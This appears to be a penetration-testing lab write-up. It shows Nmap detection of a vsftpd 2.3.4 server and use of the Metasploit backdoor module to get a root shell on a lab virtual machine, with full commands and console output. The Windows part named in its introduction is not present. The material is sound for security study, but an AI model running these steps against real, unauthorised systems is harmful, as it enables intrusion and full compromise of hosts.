

This project focuses on network penetration testing, specifically identifying and exploiting vulnerable services on both Linux and Windows systems. Here's a summary of the key components and steps:

## Linux System Exploitation

Identify vulnerable FTP service:

```
bash
```

```
nmap -sV -p21 <target_ip>
```

Use Metasploit to exploit the vulnerability:

```
bash
```

```
msfconsole
```

```
search vsftpd
```

```
msf6 > search vsftpd

Matching Modules
-----
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

```
set RHOSTS <target_ip>
```

```
exploit
```

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.100.1
RHOSTS => 192.168.100.1
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[-] 192.168.100.1:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.100.1:21) timed out.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.100:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.100:21 - USER: 331 Please specify the password.
[+] 192.168.1.100:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.100:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.101:33513 -> 192.168.1.100:6200) at 2024-11-20 19:13:58 -0500

whoami
root
```

using Nmap command to determine whether there's an FTP server on the target and find its service version:

```
(kali@kali)-[~]
$ nmap -A -p 21 192.168.1.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-20 19:05 EST
Nmap scan report for 192.168.1.100
Host is up (0.00061s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|   STAT:
|_FTP server status:
|   Connected to 192.168.1.101
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPd 2.3.4 - secure, fast, stable
|_End of status
MAC Address: 08:00:27:3C:05:2E (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT      ADDRESS
1   0.61 ms  192.168.1.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.48 seconds
```